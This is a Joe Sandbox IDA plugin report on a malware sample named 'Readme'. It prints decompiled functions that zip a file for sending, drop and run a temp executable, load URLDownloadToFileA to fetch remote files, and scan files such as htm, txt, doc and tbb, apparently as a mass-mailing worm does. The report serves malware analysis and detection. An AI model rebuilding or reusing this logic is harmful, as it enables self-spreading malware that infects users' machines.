Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: Sleepfgetc$fclosefopen$CreateThreadlstrlenrewind
String ID: -$-$-$.$.$@$@$_$_
API String ID: 3748466826-511738659
Opcode ID: e3e62f6e979f6702fd6e717d28f425ea4601e77e36b28012b9f2447554cc7b5d
Instruction ID: 6d437ecd7483d23b259e28590f61e0e5bcbda088feaf823980ac16ccee795e59
Opcode Fuzzy Hash: e3e62f6e979f6702fd6e717d28f425ea4601e77e36b28012b9f2447554cc7b5d
Instruction Fuzzy Hash: 287182748043148AD720AF25C4C536EBFA8AF44715F1549BFE885AB3C1DB7C8B848B8B

Uniqueness

Uniqueness Score: -1.00%

Function 0040829C Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 231
filestringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040829C(signed int __edx, CHAR* _a4, CHAR* _a8, void* _a12) {
				void* _v16;
				short _v32;
				short _v34;
				long _v38;
				long _v42;
				intOrPtr _v46;
				void* _v48;
				signed short _v50;
				short _v52;
				short _v54;
				short _v56;
				void _v60;
				short _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				short _v82;
				short _v84;
				short _v86;
				short _v88;
				char _v92;
				struct _OVERLAPPED* _v98;
				intOrPtr _v102;
				short _v104;
				short _v110;
				short _v112;
				long _v116;
				long _v120;
				intOrPtr _v124;
				short _v126;
				short _v128;
				short _v130;
				short _v132;
				short _v134;
				short _v136;
				void _v140;
				char _v1164;
				long _v1168;
				long _v1172;
				void* _v1176;
				void* _v1188;
				void* _v1192;
				void* _v1196;
				void* _v1200;
				void* _v1204;
				void* _v1208;
				char _v1212;
				struct _OVERLAPPED* _v1216;
				void* _v1220;
				long _v1224;
				void* _v1228;
				signed int _t133;
				signed int _t137;
				int _t140;
				int _t141;
				intOrPtr _t148;
				long _t149;
				long _t150;
				short _t151;
				long _t155;
				char _t159;
				int _t162;
				long _t167;
				void* _t171;
				intOrPtr _t187;
				struct _OVERLAPPED* _t190;
				signed int _t197;
				signed int _t199;
				void* _t204;
				void* _t206;
				void* _t208;
				void* _t210;
				void* _t211;
				void* _t212;
				void* _t213;
				void* _t214;
				void* _t225;
				void* _t226;
				intOrPtr* _t230;
				void** _t231;

				_t197 = __edx;
				_t133 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0x80, 0);
				_t213 = _t212 - 0x1c;
				_t211 = _t133;
				_t190 = 0;
				_t199 = _t197 & 0xffffff00 | _t133 == 0xffffffff | _t133 & 0xffffff00 | _t133 == 0x00000000;
				if(_t199 == 0) {
					_t137 = CreateFileA(_a8, 0x40000000, 3, 0, 2, 0x80, 0);
					_t214 = _t213 - 0x1c;
					_v1176 = _t137;
					if((_t199 & 0xffffff00 | _t137 == 0xffffffff | _t137 & 0xffffff00 | _t137 == 0x00000000) == 0) {
						_t204 =  &_v60;
						asm("cld");
						_t140 = memset(_t204, 0, 7 << 2);
						 *((short*)(_t204 + 7)) = 0;
						_t206 =  &_v140;
						_t141 = memset(_t206, _t140, 0xb << 2);
						 *((short*)(_t206 + 0xb)) = 0;
						_t208 =  &_v92;
						memset(_t208, _t141, 5 << 2);
						 *((short*)(_t208 + 5)) = 0;
						_v60 = 0x4034b50;
						_v56 = 0xa;
						_v134 = 0xa;
						_v54 = 0;
						_v132 = 0;
						_v52 = 0;
						_v130 = 0;
						E0040814C( &_v50,  &_v48);
						_v128 = _v50 & 0x0000ffff;
						_v126 = _v48;
						_t148 = E004081D8(_t211);
						_v46 = _t148;
						_v124 = _t148;
						_t149 = GetFileSize(_t211, 0);
						_v42 = _t149;
						_v120 = _t149;
						_t150 = GetFileSize(_t211, 0);
						_v38 = _t150;
						_v116 = _t150;
						_t151 = _a12;
						_v1212 = _t151;
						L0040C310();
						_v34 = _t151;
						_v112 = _t151;
						_v32 = 0;
						_v110 = 0;
						_v98 = 0;
						WriteFile(_v1176,  &_v60, 0x1e,  &_v1168, 0);
						_t155 = _a12;
						_v1216 = _t155;
						L0040C310();
						WriteFile(_v1176, _a12, _t155,  &_v1168, 0);
						_t159 = _a12;
						_v1220 = _t159;
						L0040C310();
						_t74 = _t159 + 0x1e; // 0x1e
						_t187 = _t74;
						SetFilePointer(_t211, 0, 0, 0);
						_t225 = _t214 + 0x24 - 0xffffffffffffffbc;
						_t210 =  &_v1164;
						while(1) {
							_v1168 = 0;
							_t162 = ReadFile(_t211, _t210, 0x400,  &_v1168, 0);
							_t226 = _t225 - 0x14;
							if(_t162 == 0 || _v1168 == 0) {
								break;
							}
							WriteFile(_v1176, _t210, _v1168,  &_v1172, 0);
							_t225 = _t226 - 0x14;
							_t187 = _t187 + _v1168;
						}
						_v76 = _t187;
						_v140 = 0x2014b50;
						_v136 = 0x14;
						_v104 = 0;
						_v102 = 0x20;
						WriteFile(_v1176,  &_v140, 0x2e,  &_v1168, 0);
						_t167 = _a12;
						_v1224 = _t167;
						L0040C310();
						WriteFile(_v1176, _a12, _t167,  &_v1168, 0);
						_t171 = _a12;
						_v1228 = _t171;
						L0040C310();
						_t230 = _t226 - 0xfffffffffffffff8;
						_v92 = 0x6054b50;
						_v88 = 0;
						_v86 = 0;
						_v84 = 1;
						_v82 = 1;
						_v80 = _t187 + 0x2e + _t171 - _v76;
						_v72 = 0;
						_v1216 = 0;
						_v1220 =  &_v1168;
						_v1224 = 0x16;
						_v1228 =  &_v92;
						 *_t230 = _v1176;
						WriteFile(??, ??, ??, ??, ??);
						_t231 = _t230 - 0x14;
						 *_t231 = _v1176;
						CloseHandle(??);
						 *(_t231 - 4) = _t211;
						CloseHandle(??);
						_t190 = 1;
					} else {
						CloseHandle(_t211);
						_t190 = 0;
					}
				}
				return _t190;
			}

0x0040829c
0x004082de
0x004082e3
0x004082e6
0x004082f3
0x004082f8
0x004082fa
0x00408336
0x0040833b
0x0040833e
0x00408351
0x00408368
0x0040836b
0x00408376
0x00408378
0x0040837d
0x00408388
0x0040838a
0x0040838f
0x00408397
0x00408399
0x0040839e
0x004083a5
0x004083ab
0x004083b4
0x004083ba
0x004083c0
0x004083c6
0x004083dc
0x004083e5
0x004083ec
0x004083f3
0x004083f8
0x004083fb
0x00408409
0x00408411
0x00408414
0x00408422
0x0040842a
0x0040842d
0x00408430
0x00408433
0x00408436
0x0040843e
0x00408442
0x00408446
0x0040844c
0x00408452
0x00408480
0x00408488
0x0040848b
0x0040848e
0x004084bc
0x004084c4
0x004084c7
0x004084ca
0x004084d2
0x004084d2
0x004084f0
0x004084f5
0x004084f8
0x004084fe
0x004084fe
0x00408529
0x0040852e
0x00408533
0x00000000
0x00000000
0x00408567
0x0040856c
0x0040856f
0x0040856f
0x00408577
0x0040857a
0x00408584
0x0040858d
0x00408593
0x004085c7
0x004085d2
0x004085d5
0x004085d8
0x00408606
0x0040860e
0x00408611
0x00408614
0x00408619
0x0040861e
0x00408625
0x0040862b
0x00408631
0x00408637
0x00408642
0x00408645
0x0040864b
0x00408659
0x0040865d
0x00408668
0x00408672
0x00408675
0x0040867a
0x00408683
0x00408686
0x0040868e
0x00408691
0x00408699
0x00408353
0x00408356
0x0040835e
0x0040835e
0x00408351
0x004086a7

APIs

CreateFileA.KERNEL32 ref: 004082DE
CreateFileA.KERNEL32 ref: 00408336
CloseHandle.KERNEL32 ref: 00408356
GetFileSize.KERNEL32 ref: 00408409
GetFileSize.KERNEL32 ref: 00408422
lstrlen.KERNEL32 ref: 00408436
WriteFile.KERNEL32 ref: 00408480
lstrlen.KERNEL32 ref: 0040848E
WriteFile.KERNEL32 ref: 004084BC
lstrlen.KERNEL32 ref: 004084CA
SetFilePointer.KERNEL32 ref: 004084F0
ReadFile.KERNEL32 ref: 00408529

Strings

., xrefs: 004085AC
, xrefs: 00408593

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: File$lstrlen$CreateSizeWrite$CloseHandlePointerRead
String ID: $.
API String ID: 2059494333-3929174939
Opcode ID: 555209977dd7f61af360ae51e36ae12b9c11cae2c95c9b266d9ad5083ad1dd06
Instruction ID: 330a0651d7a757380811ed2d4a39bd4f834bab233f08717d63250c6a01a72e4e
Opcode Fuzzy Hash: 555209977dd7f61af360ae51e36ae12b9c11cae2c95c9b266d9ad5083ad1dd06
Instruction Fuzzy Hash: 17B1DDB4804304DBDB10EF65C59579EBBF4BF44304F00896EE898A7391E7799648CF96

Uniqueness

Uniqueness Score: -1.00%

Function 1000157E Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 131
fileprocesssynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E1000157E(signed int __edx, int _a4) {
				void* _v16;
				char _v300;
				char _v572;
				char _v1596;
				short _v1628;
				intOrPtr _v1632;
				long _v1648;
				long _v1652;
				CHAR* _v1656;
				CHAR* _v1660;
				char _v1676;
				struct _PROCESS_INFORMATION _v1692;
				char _v1696;
				void* _v1728;
				void* _v1732;
				void* _v1736;
				void* _v1740;
				CHAR* _v1744;
				intOrPtr _v1748;
				CHAR* _v1752;
				CHAR* _v1756;
				char* _v1760;
				CHAR* _v1764;
				CHAR* _v1768;
				signed int _t64;
				CHAR* _t67;
				int _t73;
				int _t74;
				CHAR* _t86;
				CHAR* _t87;
				CHAR* _t88;
				signed int _t89;
				CHAR* _t91;
				CHAR* _t92;
				CHAR* _t93;
				struct _STARTUPINFOA* _t94;
				void* _t95;
				void* _t99;
				CHAR** _t100;
				CHAR** _t101;

				_t89 = __edx;
				_t86 =  &_v300;
				GetTempPathA(0x104, _t86);
				_t93 =  &_v572;
				GetTempFileNameA(_t86, 0x10005000, 0, _t93);
				_t64 = CreateFileA(_t93, 0x40000000, 1, 0, 2, 0x80, 0);
				_t99 = _t95 - 0x698;
				_t92 = _t64;
				if(((_t64 & 0xffffff00 | _t64 == 0xffffffff | _t89 & 0xffffff00 | _t64 == 0x00000000) & 0x00000001) == 0) {
					_t87 =  &_v1596;
					while(1) {
						_v1744 = 0;
						_v1748 = 0x400;
						_v1752 = _t87;
						_t67 = _a4;
						_v1756 = _t67;
						L10003004();
						_t100 = _t99 - 0x10;
						_t91 = _t67;
						if(_t67 <= 0) {
							break;
						}
						_v1756 = 0;
						_v1760 =  &_v1696;
						_v1764 = _t91;
						_v1768 = _t87;
						 *_t100 = _t92;
						WriteFile(??, ??, ??, ??, ??);
						_t99 = _t100 - 0x14;
					}
					 *_t100 = _t92;
					CloseHandle(??);
					_t101 = _t100 - 4;
					_t94 =  &_v1676;
					_v1764 = 0x44;
					_v1768 = 0;
					 *_t101 = _t94;
					memset(??, ??, ??);
					_v1676 = 0x44;
					_v1632 = 0x87;
					_v1656 = 0;
					_v1660 = 0;
					_v1648 = 1;
					_v1652 = 1;
					_v1628 = 0;
					_v1764 =  &_v572;
					_v1768 = 0x10005004;
					_t88 =  &_v1596;
					 *_t101 = _t88;
					wsprintfA(??, ??);
					_t73 = CreateProcessA(0, _t88, 0, 0, 0, 0, 0, 0, _t94,  &_v1692);
					_t99 = _t101 - 0x28;
					if(_t73 == 0) {
						L7:
						_t74 = _a4;
						_v1764 = _t74;
						L10003014();
						if(_t92 != 0) {
							_t74 = DeleteFileA( &_v572);
						}
						L9:
						return _t74;
					}
					WaitForSingleObject(_v1692.hProcess, 0xffffffff);
					CloseHandle(_v1692.hThread);
					CloseHandle(_v1692);
					DeleteFileA( &_v572);
					_t74 = _a4;
					_v1764 = _t74;
					L10003014();
					goto L9;
				}
				_t92 = 0;
				goto L7;
			}

0x1000157e
0x1000158a
0x1000159b
0x100015a3
0x100015c0
0x100015fb
0x10001600
0x10001603
0x10001614
0x10001620
0x10001626
0x10001626
0x1000162e
0x10001636
0x1000163a
0x1000163d
0x10001640
0x10001645
0x10001648
0x1000164c
0x00000000
0x00000000
0x1000164e
0x1000165c
0x10001660
0x10001664
0x10001668
0x1000166b
0x10001670
0x10001670
0x10001675
0x10001678
0x1000167d
0x10001680
0x10001686
0x1000168e
0x10001696
0x10001699
0x1000169e
0x100016a8
0x100016b2
0x100016bc
0x100016c6
0x100016d0
0x100016da
0x100016e9
0x100016ed
0x100016f5
0x100016fb
0x100016fe
0x1000174c
0x10001751
0x10001756
0x100017b4
0x100017b4
0x100017b7
0x100017ba
0x100017c4
0x100017cf
0x100017d4
0x100017d7
0x100017de
0x100017de
0x10001769
0x1000177a
0x1000178b
0x1000179c
0x100017a4
0x100017a7
0x100017aa
0x00000000
0x100017af
0x10001616
0x00000000

APIs

GetTempPathA.KERNEL32 ref: 1000159B
GetTempFileNameA.KERNEL32 ref: 100015C0
CreateFileA.KERNEL32 ref: 100015FB
WriteFile.KERNEL32 ref: 1000166B
CloseHandle.KERNEL32 ref: 10001678
memset.MSVCRT ref: 10001699
wsprintfA.USER32 ref: 100016FE
CreateProcessA.KERNEL32 ref: 1000174C
WaitForSingleObject.KERNEL32 ref: 10001769
CloseHandle.KERNEL32 ref: 1000177A
CloseHandle.KERNEL32 ref: 1000178B
DeleteFileA.KERNEL32 ref: 1000179C
closesocket.WS2_32 ref: 100017AA
closesocket.WS2_32 ref: 100017BA
DeleteFileA.KERNEL32 ref: 100017CF

Strings

D, xrefs: 1000169E
D, xrefs: 10001686

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: File$CloseHandle$CreateDeleteTempclosesocket$NameObjectPathProcessSingleWaitWritememsetwsprintf
String ID: D$D
API String ID: 3923095081-143366177
Opcode ID: bb4eeb2cadb98aaaacc7dbc70bb4440a2d2d54c9c778de317e6a99691b506c8f
Instruction ID: 79cbd1979514fdd573897922439d2e9c43dfc8d5b4461daef0bd91c82e7501b0
Opcode Fuzzy Hash: bb4eeb2cadb98aaaacc7dbc70bb4440a2d2d54c9c778de317e6a99691b506c8f
Instruction Fuzzy Hash: 57512FB48097049EE710EF24C98939FBBF4EF84398F40895CE89857255D77A9698CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00406F1C Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 123librarystringfileCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00406F5D
GetProcAddress.KERNEL32 ref: 00406F7A
FreeLibrary.KERNEL32 ref: 00406F8E
GetSystemDirectoryA.KERNEL32 ref: 00406FB1
lstrlen.KERNEL32 ref: 00406FBC
lstrcat.KERNEL32 ref: 00406FD9
_mbscat.MSVCRT ref: 00407014
DeleteFileA.KERNEL32 ref: 00407059

Strings

urlmon.dll, xrefs: 00406F56
D, xrefs: 00407089
URLDownloadToFileA, xrefs: 00406F6F
D, xrefs: 00407071

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: Library$AddressDeleteDirectoryFileFreeLoadProcSystem_mbscatlstrcatlstrlen
String ID: D$D$URLDownloadToFileA$urlmon.dll
API String ID: 2488436691-568779862
Opcode ID: 74e3270b2b6714ab6cf254762190580809479b14a45afd7e6c1fb6f99d803b71
Instruction ID: 6020ed59d1fb2f3a26d031d0468f3da87cf9bf9a4133c77db0aeb5110a75bae0
Opcode Fuzzy Hash: 74e3270b2b6714ab6cf254762190580809479b14a45afd7e6c1fb6f99d803b71
Instruction Fuzzy Hash: F451E0B0804744CBD750EF29D98579EBBF0BF44314F404A6EE8899B381D7789688CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00402120 Relevance: 29.9, APIs: 8, Strings: 9, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402120(intOrPtr _a4) {
				intOrPtr _v76;
				char _v82;
				short _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v104;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				signed int _t64;
				signed int _t67;
				signed int _t68;
				void* _t69;
				short* _t70;
				signed int _t71;
				intOrPtr _t72;
				void* _t73;
				void* _t74;
				intOrPtr* _t75;

				_t72 = _a4;
				_t69 =  &_v92;
				asm("cld");
				memset(_t69, 0, 3 << 2);
				_t75 = _t74 + 0xc;
				_t70 = _t69 + 3;
				 *_t70 = 0;
				 *((char*)(_t70 + 2)) = 0;
				_v92 = 0x6b6c7665;
				_v88 = 0x686f6472;
				_v84 = 0x706c;
				_v82 = 0;
				_t9 =  &_v92; // 0x6b6c7665
				_v104 = _t9;
				 *_t75 = 0x40e44a;
				E00404C6A();
				E00402106();
				_t64 =  *0x414008;
				_t71 = 0;
				do {
					_t67 = _t64 * 0xcccccccd >> 0x20 >> 3;
					 *((intOrPtr*)(_t73 + _t71 * 4 - 0x48)) = _t64 - _t67 + _t67 * 4 + _t67 + _t67 * 4;
					_t64 = _t67;
					_t71 = _t71 + 1;
				} while (_t71 <= 9);
				_t68 = 0;
				do {
					 *((char*)(_t68 + _t72)) =  *( *((intOrPtr*)(_t73 + _t68 * 4 - 0x48)) +  &_v92) & 0x000000ff;
					_t68 = _t68 + 1;
				} while (_t68 <= 9);
				 *((char*)(_t72 + 0xa)) = 0;
				if(_v76 != 0) {
					if(_v76 != 1) {
						if(_v76 != 2) {
							if(_v76 != 3) {
								if(_v76 != 4) {
									if(_v76 != 5) {
										if(_v76 != 6) {
											_t53 =  *0x40d07c; // 0x40e446
											_v104 = _t53;
											 *_t75 = _t72;
											L0040C208();
											return _t53;
										}
										_t54 =  *0x40d078; // 0x40e440
										_v104 = _t54;
										 *_t75 = _t72;
										L0040C208();
										return _t54;
									}
									_t55 =  *0x40d074; // 0x40e43c
									_v104 = _t55;
									 *_t75 = _t72;
									L0040C208();
									return _t55;
								}
								_t56 =  *0x40d070; // 0x40e437
								_v104 = _t56;
								 *_t75 = _t72;
								L0040C208();
								return _t56;
							}
							_t57 =  *0x40d06c; // 0x40e432
							_v104 = _t57;
							 *_t75 = _t72;
							L0040C208();
							return _t57;
						}
						_t58 =  *0x40d068; // 0x40e42e
						_v104 = _t58;
						 *_t75 = _t72;
						L0040C208();
						return _t58;
					}
					_t59 =  *0x40d064; // 0x40e429
					_v104 = _t59;
					 *_t75 = _t72;
					L0040C208();
					return _t59;
				}
				_t60 =  *0x40d060; // 0x40e424
				_v104 = _t60;
				 *_t75 = _t72;
				L0040C208();
				return _t60;
			}

0x00402129
0x0040212c
0x0040212f
0x0040213a
0x0040213a
0x0040213a
0x0040213c
0x00402141
0x00402145
0x0040214c
0x00402153
0x00402159
0x0040215d
0x00402160
0x00402164
0x0040216b
0x00402170
0x00402175
0x0040217b
0x00402185
0x00402189
0x00402193
0x00402197
0x00402199
0x0040219a
0x0040219f
0x004021a4
0x004021ad
0x004021b0
0x004021b1
0x004021b6
0x004021be
0x004021da
0x004021f6
0x0040220f
0x00402228
0x00402241
0x0040225a
0x0040226f
0x00402274
0x00402278
0x0040227b
0x00000000
0x0040227b
0x0040225c
0x00402261
0x00402265
0x00402268
0x00000000
0x00402268
0x00402243
0x00402248
0x0040224c
0x0040224f
0x00000000
0x0040224f
0x0040222a
0x0040222f
0x00402233
0x00402236
0x00000000
0x00402236
0x00402211
0x00402216
0x0040221a
0x0040221d
0x00000000
0x0040221d
0x004021f8
0x004021fd
0x00402201
0x00402204
0x00000000
0x00402204
0x004021dc
0x004021e1
0x004021e5
0x004021e8
0x00000000
0x004021e8
0x004021c0
0x004021c5
0x004021c9
0x004021cc
0x00000000

APIs

_mbscat.MSVCRT ref: 004021CC
_mbscat.MSVCRT ref: 004021E8
_mbscat.MSVCRT ref: 00402204

Strings

2@, xrefs: 00402211
@@, xrefs: 0040225C
F@, xrefs: 0040226F
evlkrdohlp, xrefs: 0040215D
)@, xrefs: 004021DC
.@, xrefs: 004021F8
7@, xrefs: 0040222A
<@, xrefs: 00402243
$@, xrefs: 004021C0

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: _mbscat
String ID: $@$)@$.@$2@$7@$<@$@@$F@$evlkrdohlp
API String ID: 134015809-3435826350
Opcode ID: ba1be5f7a4b05f6ad6f1eb42656a354e92ad3395ec866426798a2edddf5be352
Instruction ID: 21a54818e9aca3eeccc7b18a3caaa5206cc12068587b62876ebf60fed946ae37
Opcode Fuzzy Hash: ba1be5f7a4b05f6ad6f1eb42656a354e92ad3395ec866426798a2edddf5be352
Instruction Fuzzy Hash: 7D411A70E04244DBCB509FA9D68565EBBF0AB45708F10457FE498AB3C1D3789986CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00403622 Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 103
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00403622(signed int __eax, signed int __edx, intOrPtr _a4, intOrPtr _a8) {
				void* _v16;
				char _v300;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v324;
				intOrPtr _v332;
				intOrPtr _v340;
				intOrPtr _v348;
				intOrPtr _v356;
				intOrPtr _v364;
				intOrPtr _v372;
				intOrPtr _v380;
				void* __ebx;
				signed int _t32;
				char _t37;
				char* _t38;
				intOrPtr _t41;
				signed int _t42;
				intOrPtr _t43;
				char _t44;
				char* _t45;
				void* _t46;
				intOrPtr* _t47;
				intOrPtr* _t48;
				intOrPtr* _t49;

				_t42 = __edx;
				_t32 = __eax;
				_t47 = _t46 - 0x12c;
				_t43 = _a4;
				_t41 = _a8;
				_t37 = 0;
				_t44 = 0xffffffff;
				if( *((char*)(_t41 + 0x2c)) == 0) {
					L4:
					if(_t44 >= 0) {
						_v308 = 0x103;
						_v312 = _t41 + _t44 + 0x2d;
						_t38 =  &_v300;
						 *_t47 = _t38;
						L0040C350();
						_t48 = _t47 - 0xc;
						 *_t48 = _t38;
						_t32 = CharLowerA(??);
						_t47 = _t48 - 4;
					} else {
						_v300 = 0;
					}
					_v324 = 0x40efb2;
					_t45 =  &_v300;
					 *_t47 = _t45;
					L0040C318();
					_t49 = _t47 - 8;
					if(_t32 == 0) {
						L15:
						 *_t49 = _t43;
						_t32 =  ~((E00402F2E(1, _t42) & 0xffffff00 | _t34 != 0x00000000) & 0x000000ff);
						if((0x00000001 & _t32) == 1) {
							 *_t49 = _t43;
							_t32 = E0040307E(_t42);
						}
						goto L17;
					} else {
						_v332 = 0x40efb7;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v340 = 0x40efbb;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v348 = 0x40efbf;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v356 = 0x40efc3;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v364 = 0x40efc7;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v372 = 0x40ee83;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v380 = 0x40efca;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 != 0) {
							L17:
							return _t32;
						}
						goto L15;
					}
				} else {
					goto L1;
				}
				do {
					L1:
					if( *((char*)(_t41 + _t37 + 0x2c)) == 0x2e) {
						_t44 = _t37;
					}
					_t37 = _t37 + 1;
					_t42 = _t42 & 0xffffff00 |  *((char*)(_t41 + _t37 + 0x2c)) != 0x00000000;
					_t32 = _t32 & 0xffffff00 | _t37 - 0x000000fe <= 0x00000000;
				} while ((_t42 & _t32) != 0);
				goto L4;
			}

0x00403622
0x00403622
0x00403628
0x0040362e
0x00403631
0x00403634
0x00403639
0x00403642
0x00403663
0x00403665
0x00403670
0x0040367c
0x00403680
0x00403686
0x00403689
0x0040368e
0x00403691
0x00403694
0x00403699
0x00403667
0x00403667
0x00403667
0x004036a1
0x004036a9
0x004036af
0x004036b2
0x004036b7
0x004036bc
0x00403767
0x00403767
0x00403777
0x0040377e
0x00403780
0x00403783
0x00403783
0x00000000
0x004036c2
0x004036c2
0x004036ca
0x004036cd
0x004036d2
0x004036d7
0x00000000
0x00000000
0x004036dd
0x004036e5
0x004036e8
0x004036ed
0x004036f2
0x00000000
0x00000000
0x004036f4
0x004036fc
0x004036ff
0x00403704
0x00403709
0x00000000
0x00000000
0x0040370b
0x00403713
0x00403716
0x0040371b
0x00403720
0x00000000
0x00000000
0x00403722
0x0040372a
0x0040372d
0x00403732
0x00403737
0x00000000
0x00000000
0x00403739
0x00403741
0x00403744
0x00403749
0x0040374e
0x00000000
0x00000000
0x00403750
0x00403758
0x0040375b
0x00403760
0x00403765
0x00403788
0x0040378f
0x0040378f
0x00000000
0x00403765
0x00000000
0x00000000
0x00000000
0x00403644
0x00403644
0x00403649
0x0040364b
0x0040364b
0x0040364d
0x00403653
0x0040365c
0x0040365f
0x00000000

APIs

lstrcpyn.KERNEL32 ref: 00403689
CharLowerA.USER32 ref: 00403694
lstrcmp.KERNEL32 ref: 004036B2
lstrcmp.KERNEL32 ref: 004036CD
lstrcmp.KERNEL32 ref: 004036E8
lstrcmp.KERNEL32 ref: 004036FF
lstrcmp.KERNEL32 ref: 00403716
lstrcmp.KERNEL32 ref: 0040372D
lstrcmp.KERNEL32 ref: 00403744
lstrcmp.KERNEL32 ref: 0040375B

Strings

php, xrefs: 00403739
tbb, xrefs: 00403750
html, xrefs: 004036A1
htm, xrefs: 004036C2
txt, xrefs: 004036DD
doc, xrefs: 0040370B
xml, xrefs: 004036F4

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrcmp$CharLowerlstrcpyn
String ID: doc$htm$html$php$tbb$txt$xml
API String ID: 838419190-2496469446
Opcode ID: 224cabb6541a4449cfda70ae68bee2be7fcebbb5efeb781ad9319cfc72626951
Instruction ID: 6961f7bd5c8fa27dba0ec7a422f8e7192e07f4a6a10a31976eaf7852eedd0230
